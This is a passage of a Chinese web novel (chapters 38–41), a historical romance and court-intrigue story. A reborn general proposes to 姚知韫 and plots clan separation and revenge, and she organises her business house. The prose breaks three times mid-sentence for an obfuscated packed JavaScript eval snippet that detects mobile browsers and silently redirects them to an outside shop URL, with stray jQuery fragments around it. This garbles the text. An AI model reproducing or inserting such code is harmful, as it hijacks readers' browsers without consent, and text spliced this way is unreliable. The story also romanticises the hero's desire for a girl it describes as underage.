他抬起手，指尖微颤着，贪婪地描摹她沉睡的轮廓，小心翼翼的近乎虔诚，顺着她柔和的颌线，触到了那片温热的肌肤。 细腻，柔软，鲜活的，温暖的，活生生的人。 他心底压抑的渴望轰然决堤，仿佛被蛊惑，又仿佛心中那头野兽终于挣脱牢笼，不受控制地低下头。 气息交缠，他能清晰看见她脸上细小的绒毛，能闻到她发间极淡的香气，不是脂粉香，是少女特有的体香，也能感受到她清浅的呼吸拂过自己唇畔带来的微痒。 这一切的一切，于他而言，是一种毁灭性的诱惑。 他的唇，在距离她唇角方寸之地，倏然僵住。 不行。 她还小，再等等，如何也要等她及笄之后。 霍抉死死盯着那近在咫尺，却如隔天涯的柔软，眸色在极度渴望与极度克制的激烈撕扯中，变成一片深暗赤红，翻涌着近乎痛苦的挣扎。 最终，他用尽残存的力气，猛地向后，后背重重撞上床柱，剧痛传来，却也让他混沌的脑子获得片刻清明。 他急促地喘着气，不敢看她，却又舍不得不看，只能死死盯着头顶那片昏暗的承尘，压制着心底挣扎撕咬着的困兽。 不过，还是要赶在霍家人进京前成亲。 明澈的天光穿透窗纸，将满室映得通透暖融，姚知韫被这片过于明亮的光线唤醒，眼睫轻颤几下，意识才从深沉的疲惫中缓缓浮起。 她缓缓抬起手，挡去这恼人的天光，恍惚了片刻才想起来，这不是她的房间。 侧过脸，她毫无预兆地撞入一双深不见底的眼眸。 他醒了？ 脸上骇人的潮红已经褪去，只是脸色还有些苍白，好在眼神清明，那惯有的冷锐与沉稳已重新回到他的眼底，晨光在他轮廓分明的侧脸镀上一层柔和的淡金。 姚知韫下意识地抬起手，覆上霍抉的额头，心头蓦地一松。 “烧退了。”她轻声呢喃，不是询问，好似只是在陈述，难免语气便带上了一点软糯。 说完，便起身下了床，拿起旁边炉火旁的水壶倒满茶杯，转过身递了过来，再未开口。 霍抉就那么静静的看着她，看着她的眼眸从迷蒙到清明，看着她一系列的动作以及递到跟前的水杯。 他抬手想要接过，却因牵动伤口微微蹙眉，便见姚知韫绕过他的手，将杯子递到唇边，霍抉笑了笑，如昨日在马车上那般就着杯子将水饮尽。 两人沉默着，谁也没有开口，姚知韫扯过衣架上的斗篷系好便准备出门，却被霍抉叫住。 姚知韫却没有回头，只是淡淡开口，“我去洗漱，顺便给你弄些吃的，”，说完便出了房门。 姚知韫再次回来，已换了一身衣裳。 月白色细绵长衫，交领右衽，宽袍大袖，以素银线在衣缘处绣着疏落的竹叶纹，走动间偶见一缕微光如月下竹影掠过，一根同色系丝绦松松系在腰间，愈显得身段窈窕。 青丝显然是刚刚清洗过，还带着湿润的水汽，一头青丝无法自由地披散在背后，将月白衣领洇出几痕深色的水渍，倒衬得露出那截脖颈愈发莹白如玉，隐隐能看见肌肤下淡青的脉息。 刚进门姚知韫便看到霍抉已经坐在圆桌旁边的圈椅上，神色是惯常的冷峻，彷佛昨日的脆弱只是一场虚梦。 她没有言语，只是走了几步，将手中的托盘放在他的跟前，“趁热用些吧！”她顺势坐在旁边，顺手将一缕滑落的湿发拢至耳后。 霍抉的目光却落在她湿润的发梢，沉默的撑身坐起，取过一旁一方素白的棉巾，站在她的身后，轻轻裹住她垂在身后的湿发，自发尾一寸寸向上按压，揉拭，动作看上去甚是熟稔。 姚知韫心下不禁腹诽，这人不知道为多少女人做过此事， 霍抉不知道姚知韫心中的想法，他擦得很慢，偶有发丝缠绕，他便停下，耐心解开，再继续，棉巾湿了，便再换上一块。 屋内极静，晨光斜照，将两人重叠的身影投在屏风上，模糊了界限。 她坐着，他站着，指尖偶尔擦过她后颈的肌肤，触感微糙，引得姚知韫一阵战栗。 “冬日湿发易惹风寒。”指尖在她已半干的发上停留了一瞬，才低低的开口。 说完，才将棉巾搁在一边，重新坐回圈椅，粥的热气不如方才那般蒸腾，却仍温温地散着米香。 霍抉秉持着食不言寝不语，霍抉埋头喝着碗里的粥，米粥熬得浓稠绵滑，那切得细碎、不知道是什么的东西融入其中，呈现墨玉般的色泽，还有那缕缕纤瘦的肉丝和嫩绿的葱花，咸香温润的味道丝丝漫开，让霍抉觉得踏实又温暖。 一碗粥吃的干干净净，霍抉甚至有些意犹未尽，用旁边的棉巾拭了唇角，轻轻放下。 “我是霍家长房长子，”他缓缓开口，说的却是这样一个看似毫不相干的事情。 姚知韫倏然抬头，眼中掠过疑惑，怎么会说起这些，但却还是没有说什么，只是将身子坐直了些，做出一副倾听的姿态。 “我父亲作为长子，掌管着霍家的庶务，为人也是勤谨，颇得族中人看重，十六岁那年他到凌阳视察产业，遇见了我母亲，他们一见钟情，定下白首之约。” 他看着姚知韫虚虚的笑了一下，但却似有一丝嘲讽。 “可祖母，却为父亲定下了娘家的表妹为妻，父亲竭力反抗，甚至以死相胁，”他面上没什么表情，可姚知韫还是听出了隐隐的悲凉，“可终究抵不过孝道，祖母绝食相逼，父亲——妥协了。” “母亲不性子烈，宁为玉碎，不愿为妾，于是远走他乡，未曾告知父亲已会有身孕 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17232596|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，”说到这里，霍抉笑了一下，想来那段日子他是幸福的，“她独自生下我，抚养我到六岁，后来她生了重病，才写了信给我父亲，言明我的存在。” “我父亲接我回到霍家。” 姚知韫的指尖微微蜷起，心口像被什么轻轻攥了一下，她想说些什么，可霍抉那平静无波的语气，却让她觉得说什么都显得苍白无力。 “父亲成亲后，从未踏入新夫人房中，故而一直没有子嗣，接我回家后，祖母纵然不喜，也不得不接受，于是我便改名霍抉，成了霍家的嫡长子。” “父亲深知霍家是虎狼窝，自我回去，便将我带在身边，亲自教导，” “有一天，父亲被祖母叫了去，回来后便不顾族训一意孤行坚持让我科举，” 霍抉的目光终于动了动，窗外晨光亮眼，可那光却未能照进他眼底。 “我离了霍家，赴京赶考，放榜那日，也接到了父亲溘然长逝的消息。” 屋内陷入长久的寂静，这些往事寥寥数语，却是他惊涛骇浪的半生，可那些生活里的痛，终究是沉甸甸的落在他的身上，成了桎梏他的一部分。 最后他转过头，目光直接又沉重地落在姚知韫脸上，看了良久。 “韫儿——，”他唤她，声音沙哑了下去，“这些旧事，本与你无关，可如今，圣上下旨，霍家就要进京了。” 他身体微微向前倾，眉心一蹙，却直视着她，“霍家——盘根错节，各怀心思，重重算计。” 他没说的是，霍家的那位祖母依然有意让他娶她娘家的姑娘，利益在前，即便有赐婚，难保他们不会生出其他心思。不然崔家与苏家也不会想借着书院雅集想要为难韫儿，对一个女人来说，名节有多重要不言而喻，若是韫儿被毁了名节，圣上自然会弃了她。 更何况他对霍家的那些腌臜手段心知肚明，前世的他不也被霍家人算计，差点被逼娶了林家姑娘，这一次他必定要避免重蹈覆辙。 若是他们成了婚，有侯夫人的身份傍身，那些人想要动手，也要掂量一下能不能承受得起。 他已经做好准备，等霍家进京，就提出分宗，但作为长房，老太太一定是会跟着他，但只要把二房三房那些人清理出去，单凭一个霍老太太也掀不起什么大风浪，他再派人看紧一些，总能确保韫儿不会被虎狼窝吞噬。 前世在她及笄不久后，二皇子逼宫成功登基后，对她起了不该有的心思，那个时候她已经是松平的妻子，而宋平却为了爵位亲手将她推入深渊。 那个时候，他有意想要带着韫儿离开京城，也是霍家那些人抬着父亲的牌位逼着他，他也真的为了那个虚名，什么都没做，最后眼睁睁地看着她从一朵娇艳的花，最后慢慢枯萎，直到香消玉殒，等他再想做些什么的时候，便什么都来不及了。 “韫儿——，”霍抉眼神蓦然肃严起来，只有将她尽快娶进门，他才能安心，“我们成婚好不好？” 姚知韫没有立刻回答，她缓缓地将自己靠在圈椅的椅背上，无声地拉开了与霍抉之间的距离。 她垂下眼，视线凝聚在自己交叠的指尖上，她不想把自己的生活过的很复杂，可命运却推着她，一步一步走到这里，不得不和眼前这个人绑在一起。 39. 我明日下聘 她也不得不承认，对于霍抉她有着特殊的情愫，或许是依赖，或许是心疼，亦或许还有别的什么，可这份情愫还不足以支撑她心甘情愿地踏入未知、深不见底的漩涡，付出远远超乎想象的代价。 无论是英国公府，还是接踵而来的算计，多少与她脱不开关系，她虽应付得来，但若未来的三年除了朝堂上魑魅魍魉，还要应对霍家后宅的那些尔虞我诈，她不确定自己是否真的能应付。 于是，她沉默着。 而这沉默，像一把钝刀，一寸寸凌迟霍抉的心。 他的覆在膝盖上的手，指尖蜷缩又伸开，掌心渗着冰凉的薄汗，他是不是太过急切，吓到她了？ 此刻的他仿佛立在万丈悬崖边缘，她的一句话决定着他是坠入永夜深渊，还是春暖花开。他甚至不敢大声呼吸，生怕一丝气息会惊扰她悬而未决的瞬间。 过往所有的运筹帷幄，杀伐果断，在她安静的犹豫面前，溃不成军。 他只能等待，像囚徒等待最终的判决。 又像溺水者等待遥不可及的浮木。 等待的时间被拉得无比绵长，每一次心跳都沉如擂鼓，敲在空洞的胸腔里，回荡着不安的回音。 姚知韫终于抬起眼。 她望着霍抉，望进他枯井般的眸子里，那里映着她的身影，也藏着几乎要溢出来的却又极力克制的紧张，在这一刻，她忽然不再那么令人畏惧了。 她轻轻吸了一口气，又长长的呼出。 “好” 只一个字。 霍抉的呼吸，在那一瞬间彻底停滞了。 悬在半空中被无形压力碾碎的心脏，猛然落回原处，继而疯狂地跳动起来，撞击着他的肋骨，带来一种剧痛的狂喜。 他怔怔地看着她，像没听清，又像不敢相信，那双深沉锐利的眼睛罕见地掠过一丝茫然的空白，随即，便被汹涌而来的光芒彻底点燃。 他伸出手，动作有些迟滞，却无比坚定地握住了她搁在膝盖上的手，指尖微颤，触到她的温热，才仿佛真正确认可这不是梦境。 “——韫儿，”他终于找回了自己的声音，却沙哑得厉害。 姚知韫任由他握着，没有抽回，看着他眼中翻涌的情绪，褪去了所有的冷硬防备后，此刻的他显得有些笨拙，也是这一份笨拙，让她觉得，他像个人了。 她心底那杆权衡的天平，似乎悄然倾斜了，她甚至轻轻地摊反握了一下他的手。 霍抉垂下眼眸，可眼底的光芒更盛了，他唇角动了动，似乎勾起一个笑，但抽搐的弧度却因为情绪太过汹涌而显得有些生硬。他喉结剧烈地滚动了一下，将喉间的万语千言一并吞下去。 姚知韫不习惯这样沉甸甸的气氛，裹得人透不过气，霍抉那双眼睛里的东西太重，重得让她心头发慌，又隐隐生出一丝陌生的疼。 她有些无措地移开视线，指尖无意识地捻着袖口的花纹，必须说点什么，打破这令人窒息的氛围。 “午膳——，”她清了清喉咙，声音比平日略高，带着刻意为之的轻快，“想吃什么？” 话出口，姚知韫便觉出几分傻气来，她微微挺直了脊背，努力让神情看起来自然些，视线落在空了的粥碗上，神情又尴尬了几分。 “面，”霍抉很随意地接过话头。 他指腹在她手背上来回摩挲，她的手真软，像一块上好的羊脂玉，温润光洁，让他舍不得松开。 只是他的掌心有着厚实粗粝的茧子，给她细嫩的肌肤带来一丝刺痒。 姚知韫察觉到那细微的不适，指尖轻轻蜷了蜷，试图不着痕迹的将手往回抽了抽，察觉到她的退意，霍抉的掌心下意识的又拢紧了几分。 霍抉抬起眼，望着她白皙的脸颊投出一层海棠般的酡红，一直染到耳根，她抿着唇，贝齿轻轻咬着下唇，压出浅浅的印痕。 那副模样，与她平日里沉静的神色相比，多了几分罕见的娇憨。 霍抉的心，像被那抹蔓延的绯色轻轻烫了一下。 第一次行动超越了理智，只觉得视线里那抹红愈来愈近，他倏然倾身向前。 然后，他吻了上去。 用自己粗粝的唇，轻轻印上她柔软微凉的唇瓣。 她的唇比想象中更软，带着清浅的如露水般的气息。他没有立刻退开，更舍不得退开，就那么久久的贴着，吻到唇瓣从炙热到微凉。 停留了良久，久到他的唇瓣从滚烫到冰凉。 姚知韫僵住的身子不敢动弹，他的唇过于粗粝，甚至有丝丝的毛刺，她几乎用尽全力猛地将他推开，转身便向门外跑，甚至因跑得太急带倒圈椅。 脚步凌乱，心如擂鼓，颊边的滚烫一直烧到脖颈。 她的手刚碰到门扉，身后传来压抑的闷哼，她开门的手骤然停住，转身看了过去。 霍抉被她推得跌坐在圈椅上，一手撑着桌边，眉心紧皱，月白色中衣洇开一小团刺目的红，正缓缓向外扩散。 她对上他的目光，那里没了往日的深沉，反倒是一片清明，甚至有些孩子气的笑意，那笑意从微扬的嘴角蔓延至眼底，亮闪闪的。 霍抉看着她去而复返，看着她眼中来不及敛去的担忧与懊恼，笑得愈发不加收敛，连带的肩膀都微微颤抖，牵动了伤口，他“嘶”地抽了口凉气，可那笑意却丝毫未减。 姚知韫看着那张笑得毫无戒备甚至称得上“傻气”的脸，一时间，羞恼、担忧、气闷交织在一起，竟不知该用何种表情来面对他。 最后，她只是狠狠地瞪了他一眼，然后抿着唇，一言不发地走回他的身边。那模样说不出娇嗔，甚至带着一丝撒娇的意味，让霍抉的心更是软成一汪水。 霍抉在她的指尖即将碰到他的伤口时，抓住她的手腕，拉正她刚带歪的圈椅，按住她的肩膀让她坐了回去。 “过两日——，”霍抉连声音都浸着压不住的欢喜，“不，明日，明日我来下聘，” 他缓了口气，目光灼灼地看着她，“侯府已经修缮得差不多了，两座府邸中间我开了一个角门，往后，你愿意住在侯府还是继续住在姚府，都随你。” 霍抉打破了沉默，姚知韫心中的羞赧冲淡了些，还有一丝红晕残留在耳尖，她稳了稳心神，问了一个最实际的问题，“那霍家的人——，” “他们会住在侯府，”霍抉收敛了些许笑意，眼神也冷了下来，握着她的手却紧了些，但还是没有弄疼她，“但你放心，这些不过都是暂时的，我会找个合适的机会，分宗。” 姚知韫心下一震，他知道“分宗”意味着什么吗？ 于霍家这样 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17236516|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 规矩森严的大家族，“孝悌”是悬在他头顶不容僭越的天理纲常。上有老祖宗坐镇中堂，下有族谱序齿分明，宗祠香火绵延，所有族人都被这张无形巨网牢牢缚在一起，一荣未必俱荣，一损却必定俱损。 而“分宗”绝非简单的分家析产。 这是在宗法礼制上，公开宣告血脉剥离，按常理，若是旁支提出分宗，尚可视为另谋发展，可霍抉是嫡长，是支应门楣的主枝，由他提出分宗，便意味着要将其他依附的旁系推开，令其另立宗祠，自序昭穆。 可霍抉如今圣眷正浓，身份贵重，正是整个霍家借势而起，共谋富贵的紧要关头，他们又怎么会甘心在这个时候被隔离？在那些人眼中，这般行径，无异于得势忘本，割席断义，是彻头彻尾的忘恩负义。 另一条路便是霍抉自己“出族自立”，这便更是惊世骇俗，身为嫡长却自请另立门户，形同背弃祖宗基业，是不孝不悌的忤逆之举，这在以“孝”治天下的大晋，无疑会成为政敌攻击他的最好借口。 届时，他将面临腹背受敌的局面。 如此，却被他那样平静、随意地说了出来。这甚至是他反复权衡、深思熟虑的结果。 然而，姚知韫清醒地知道，此刻的霍家，对他而言，未尝不是一道护身符。 霍家那是绵延数百年的清流门第，即便避祸陈郡多年，在天下士林心中，“中州霍氏”这四个字，依然有着不可估量的声望。只要霍家重归朝野视野，凭借其累世的清誉，依旧能让无数读书人心向往之，形成一股不小的力量。 霍抉有赫赫军功在手，是天子倚重的利刃；若再能有士林清议的支持，那便多了一种筹码。届时，即便皇帝心生忌惮，想要动他，也不得不仔细掂量：动一个将军或许容易，但动一个背后站着士林口碑、且手握重兵的侯爵，所引发的朝局震荡与人心向背，代价将截然不同。 他此时提出“分宗”，代价太大，并不是一个理智的决定，除非在他权衡的天平上，有一个更重的砝码足以压过分宗带来的一切动荡。 那会是什么呢？ 她脑海中闪过昨晚他的梦呓，似乎父亲的死另有隐情。 若是要为父亲复仇，面对的必然是朝廷倾轧与阴谋，按常理，有霍家的支持总比孤身硬撼更有胜算，他却反其道而行，显然不合理。 或者那个隐情的背后势力庞大，复仇之路艰险异常，他不愿将霍家拖入万劫不复的危局，宁愿独自背负？可他提起霍家并无半分温情，说起来如今的霍家在他父亲去世后，早已没了与他血脉相连的至亲之人，甚至某种意义上霍家间接地害死他的母亲。 但他也说过会护着她，却又提出娶她，那不是要将她置于危险之中？ 姚知韫蹙眉深思，指尖无意识地蜷紧，无论如何地推演，似乎都说不通 总不能——是因为她吧？ 是怕她不适应霍家？她不得不做这样的猜想，只有这个理由虽然牵强，却似乎合乎他做这个决定的逻辑。 “我父亲的死——”，姚知韫问得直截了当。 话音落下，霍抉的眼底温存的柔光以肉眼可见的速度冷却、沉淀，最后凝成一片寒霜，渐渐冷了下去，他并未否认，只是那样沉静的看着她。 空气中静得能听见烛火轻爆的细响。 40. 分宗 许久，霍抉才缓缓地点点头。 “已经有些眉目，”他身体向前倾，目光锁住她，放缓了语调，“交给我，好吗？” 姚知韫没有回应，只是将身子缓缓往后靠去，这个动作本身，是她的疏离与审视。 她用一种清冷的眼神看着他，只是看着他。 霍抉的心骤然绷紧，那种近乎窒息的恐慌又一次笼罩着他。 良久，他才听到她开口，声音不高，甚至算得上娓娓，却像初春未化的冰，清晰、冷静、不容辩驳。 “霍抉，”她连名带姓唤他，“我父亲的死若真有隐情，我希望你能告诉我，”她抬起眼，目光如洗过的寒星，“我虽生于闺阁，却并非只能依附乔木，我不会仰仗你而活，世事纷扰，有些事，我只是不想，并不是不懂，” 她语气微顿，目光毫无畏惧，“三年后，我们终究是要分离的，我父亲的仇是我的义务，不是你的，若你不能坦诚相待，那么——，”她垂下眼帘，同时将手从他的掌心抽了回来，声音却更缓了，“我便只能，另觅他途。” 室内重归寂静，她抽回的手平静地搁在膝上，姿态依旧娴雅。 这是她的态度，也是她的底线，若他依旧只是想将她护在身后，视作附庸，那么她自然也不会给予同等的信任与托付。 没有霍抉，或许未来的路会走的艰难些，但他从来不是唯一的选择。 霍抉笑了。 笑得猝不及防，生涩又笨拙，无奈又纵容。 果然，这才是他认知的韫儿，冷静、独立、还有隐藏在柔弱下的清醒。 她自己怕是不自知，她的嗓音总是带着江南水汽般的软糯，又似新雪初霁清脆，她明明从小长在京城，语调里却总沁着一股温软的吴侬韵致，哪怕说着绝情的话也总是带着不自知的娇憨，像是在和人撒娇。 他以绝对强势，却又轻柔地将她抽回的手重新拢入掌心。 “好。” “所以，分宗是为了我？”姚知韫追问，心中迷雾未散。 “是。”霍抉回答得也很干脆，神情转为沉凝，“霍家看似钟鸣鼎食，冠盖巍峨，实则根柢已蠹，如今不过是仗着名声勉强支撑罢了，二房是如今当家作主的老夫人林氏亲生，与我父亲一母同胞，而我名义上的母亲是林老夫人的亲侄女，她自然一心扶持二房，指望他们能掌权，如今霍家的中馈明面上林老夫人把持，实则早已落入二房手中，” 他稍作停顿，指尖在她的手背上来回摩挲，好似把玩一块美玉，“三房虽是庶出，却多年经营，也把持了霍家大半庶务与产业，多年来两家明争暗斗，互不相让。” 他目光变得深邃起来，“可一旦我娶了妻，你便是名正言顺的霍家主母，届时，二房自然不能容你，三房也不会将多年经营拱手相让，说不定还会联合起来对付你，嫁给我，你就是出了狼窝又入虎穴。” “而分宗，”他语气陡然转冷，“便是将这潭浑水彻底隔开，到时候，即便林老夫人要随我这一支，可失了根基与羽翼，也是孤掌难鸣，对付起来便容易许多。” 他看着她，将手放在她已经干燥却毫无修饰的发顶，“我只是不想你活在人心算计，周旋倾轧的日子里。” 窗外的天光渐渐移动，将青石地面照得一片亮白。 霍抉的指尖穿过她的发丝，那发丝又细又软，滑过指缝如水泻流沙，几乎感受不到阻力，却又丝丝缕缕缠绵指上，她没有带任何发饰，就任由那样一头乌发倾泻而下，在光里闪着墨玉般温润的光泽。 姚知韫没有言语，可却因霍抉明显暧昧的动作，耳尖缓缓漫上一层薄绯，她想躲开的，却被困在他与圈椅之间，动弹不得。 霍抉望着她逐渐染红的耳廓，眼底的笑意更深了些。最后，他带着几分故意的揉乱了她的发顶，才收回手重新靠回圈椅，动作间牵动到伤口，额角渗出细密的冷汗。 姚知韫抬头，望着他苍白的脸色，不着痕迹的叹了口气，起身走到盆架前，拧了条温热的帕子递给他。 霍抉接过，却没有任何的动作，只是将那条帕子攥在手中，定定地看着她。 姚知韫侧过头，避开他明显炽热的目光。 一时间，屋内静了下来，两人也不知道要说些什么，一个沉默着，一个尴尬着。 姚知韫掌心在膝盖上摩挲着，想着说些什么，可说些什么呢？ 好在门外传来芙蓉的声音，吴稚跃来了。 他拎着药箱大摇大摆的走了进来，见霍抉已经坐在圈椅上，挑了挑眉。 “呦嗬！霍将军恢复的倒是挺快啊，”他随手将药箱搁在桌上，上前检查伤口，“怕不是回光返照。” 霍抉任由他动作，目光却追着姚知韫趁机离开的背影，天光洒在她月白色的衣衫上，整个人仿佛笼罩着一层薄薄的光晕。 “别看了，眼珠子都要掉出来了。”吴稚跃一边换药，一边调侃。“我说霍沉舟，你这次伤的可不轻，这次至少静养半月——，正好也趁着这个机会好好看看，那些乱七八糟的算计。” “她应了。”霍抉忽然打断他。 吴稚跃手上动作一顿，“什么？” “她答应嫁给我。”霍抉转过头，眼前前所未有的明亮。 吴稚跃怔了怔，随后一巴掌拍在霍抉没受伤的那边肩膀上，“说什么胡话？你们可是奉旨成婚，谈什么答应不答应？” “年前，要成婚。”霍抉不理会吴稚跃，只是一味的说道。 吴稚跃包扎伤口的手陡然停住，“年前？成婚？”他瞪大了眼睛，“霍抉，你这动作会不会太快了些？满打满算不足两月了，这聘礼、仪程、宾客、这么着急做什么？” 霍抉只是笑了笑。 两个月，自然来得及。 他从活过来的那一刻便开始准备聘礼，足足准备了七年，别人有的，他的韫儿也必须有，别人没有的，他的韫儿更要有。 他足足攒了七年，就等着这一刻，只等这一刻。 吴稚跃收起方才戏谑之色，收拾好药箱，坐在圈椅上，“宫里递出来消息，皇上的龙体怕是不行了，”他哼了一声，似是嘲讽，“郭太医诊治过，脉象已是油尽灯枯之兆，若是精心养护，或许还能撑个一年。” 霍抉眼底的光尚未完全敛去，闻言倏然沉了下来。 一年。 他冷哼一声。 同光帝私下动了改立储君的心思时，户部尚书秦栾已卷进江南漕运贪污案，太子受牵连声望大损，二皇子赵赫轩只要耐心等待，那位置几乎已是囊中之物。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239222|195694||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>可偏偏他却选了逼宫这条路。 霍抉百思不得其解，他为何行此险招，直到重生归来，想起凌霄殿那场滔天大火，一个森寒的念头如冰锥般刺入脑海。 凌霄殿那场大火，烈焰舔舐着鎏金殿顶，也将备受宠信的凌霄道长烧成一具焦尸，如今想来，只怕皇帝也在那场大火中丧命。 若是皇帝死后，太子便会顺利登位，那么二皇子便再无可能。 那场大火后仅仅一日，于幽禾便领兵围了京城，崔维则率京营护卫皇城，最后以护驾为名替换了御林军，将皇宫围得水泄不通。 两日后皇上突然病危，急召崔维明，托付后事，下旨废太子，改立二皇子为储君。 旋即，皇上驾崩，赵赫轩顺利登基。 这一切，发生的太快，太巧，也太理所当然了。 可这中间到底发生了什么，无人知晓。 “已经按照你的吩咐，将凌霄道长送到皇上身边。” 霍抉没有接话，眸色晦暗如夜，三年前他终于找到了那位凌霄道长，许以重诺，盖了道观，就等着在同样的时间送到皇上身边，他就是要知道那个时候究竟发生了什么？ 若是皇帝龙体早已衰败，才会如此依赖丹药，若是太子察觉到皇上废储的心思，要弑父上位，那么那场大火便有了合理的解释。 可凌霄殿外守备森严，究竟是谁放的火？ 既然人已经送进去了，想来很快便会有消息了，霍抉垂下眼帘，“看好他。” “他的身边，是我们的人。” “嗯，”霍抉指尖叩击着桌面，眼底越来越冷，于幽禾呢？于幽禾又是何时倒向赵赫轩的？ 无论真相如何，太子、二皇子，他一个都不会放过。 “好友，于婉茵最近频繁出入梧桐巷的一所宅子，”吴稚跃说着从怀中抽出一个信封放在桌面，“奇怪的是这所宅子在苏家大公子苏文卿名下，昨日二皇子身边的流觞从那所宅子里出来。” 霍抉眼帘微掀，“所以于婉茵只是赵赫轩送到太子身边的一个眼线。” 他沉默良久，“吴稚跃，我们是不是该送崔家一份大礼呀！”霍抉刻意加重了大礼两个字，显得有些咬牙切齿 “这崔家到底怎么得罪你了？你要做到如此地步？” 吴稚跃一直都知道，霍抉对二皇子的仇恨，只是他不说，自己也不方便问，但如今看来，他何止是针对赵赫轩，他是在对抗整个皇族，太子、二皇子、崔家，甚至还有英国公府。 他下了一盘大棋，那些棋子都是他多年来从各地寻来的，他到底想做什么？看着也不像是造反的模样？ 不过，没关系，他想做什么自己都陪着，哪怕他想要那个皇位也未尝不可。 “三日后，素卿就到京城了。”吴稚跃收拾着药箱，抬头望见霍抉看过来的眼神，只能自觉地道，“我知道了，我会把她安置在甜水巷的宅子，可你也知道素卿的性格，我不知道能拦多久。” 吴稚跃说着，垂下头敛去眼底的晦暗，语气颇有些愤愤不平，“同样都是托孤，你对素卿怎么就——，”他言语未尽，被霍抉瞪了回去。 “好，好，好——，”他站起身，“伤口不要沾水，两日后我再来给你换药。”说完，拎着药箱便出了门。 41. 准备 姚知韫出了松柏院的门，被清冷的风一激，才恍然想起，好像忘了问父亲的死因。 她脚步微顿，回头望了一眼，里面有旁人在，再折回去问也不合适了，总归午膳还能见着，到时候再问不迟。 略作沉吟，她脚步一转，朝着归云楼走去。 归云楼原本是一处独立的两进的小院，与姚府一墙之隔，当年原主人要归乡养老，急于出手，母亲瞧它结构规整，位置又隐蔽，便买了下来，打通院墙并入姚府，它的正门临着麻市街，闹中取静，从姚府走过去，走的实则是它的内院后门。 姚知韫推开院门，眼前豁然开朗。 院子洒扫得十分洁净，青砖墁地，几株老梅倚墙而立，原本的主室已改头换面，门楣上悬着新制的匾额——归云堂。 她推门而入，完全是依照她的构想布置，正中区域开阔，设了议事与接待客人的桌椅，形制简洁大气。左手边靠窗处，置一张宽大的紫檀木茶台，后方的多宝阁上，整齐陈列着各式瓷罐、锡罐，里头分门别类收着各地名茶。右手边则是一张可容十余人围坐的长案，案面光滑如镜，四周配着高背椅——这是集体议事的核心区域。 两侧的耳室也是各有乾坤。 东边的“擘画斋”，是她为自己预留的所在。临窗一张大书案，案头笔墨纸砚俱全，墙边立着书架，另设一张软榻供小憩。最为特别的，是墙上悬挂着一张大晋的舆图，上面贴着红色朱砂纸剪成的小三角，那是归云楼的商业版图。 西边的“经纬阁”，则是沈知节理事之处。布置更显务实，满墙柜格分档存放着各地铺面的文书账册，中央一张大桌，便是他运筹调度之地。 东西厢房亦物尽其用。 东厢辟为账房，数张书案整齐排列，算盘、账册、笔墨各有其位，专司核算审计。西厢则是管事房，负责人员考绩、调度及日常庶务管理。 此外，院内还巧妙隔出了数间静室：有机要室，门窗加固，专存核心契书与密档；有译讯处，负责接收、解码、分析各方传来的消息；自然，也少不了茶灶间，日日备着热茶点心，供众人取用。 而前院倒座房则是为他们设立的住所，如今人还不多，倒也住得下，以后发展起来，再考虑其他。 姚知韫静静立在归云堂中央，环视着这个初具雏形的“枢纽”。她没有亲自经商的阅历，但她脑中装着超越时代的理念与框架。而沈知节，恰恰拥有将她那些看似飘忽的构想，迅速落地的老练手腕与经验。这或许是当下最好的组合。 只是，沈知节终究是霍抉的人。 她缓步走向擘画斋，指尖拂过光洁的案面。三年，她还有三年时间。她会留心物色可靠且有潜质的人，安插在沈知节身边，细细观摩，好好学习。 三年，应当足够她栽培出一批可靠又实用的心腹。 到那时，即便沈知节离开，归云楼依然能如常运转。 姚知韫刚在擘画斋的书案后坐定，茶还未及饮一口，门外便传来稳重的脚步声。 沈知节在外禀了一声，得到回应后撩帘而入，手中捧着厚厚一摞装订齐整的册子。他今日着一身藏青色直裰，面上虽仍带着惯有的持重，步履间却比平日多了几分利落。 “姑娘，”他微微颔首，将账册轻放在宽大的紫檀木案上，“您上回交代要寻的产业，有几桩已落了地，这是初步梳理的明细。” 姚知韫目光落在最上面一本册子的封皮上，墨迹簇新，写着“织造初录”四字。 “坐。”她示意沈知节落座，自己则翻开账册。 沈知节在她对面的圈椅上坐了半边，腰背依旧挺直，言语清晰，逐条禀报： “首先是织造这一块。按您的意思，京郊盘下两处相连的作坊，一专印染，一专织造，匠人都是熟手，稍加整饬便能开工。原料上，已与槐里、杏坞几处可靠的蚕户谈妥，由我们出钱购置优质桑蚕种分发下去，订立契书，待蚕茧收获，我们再按优价统一收购。如此，从蚕丝到布帛，关键环节皆在掌控之中，品质与成本皆可预期。” 姚知韫手中翻动着账册，这些事情由沈知节这般老练之人操办，又快又稳妥。 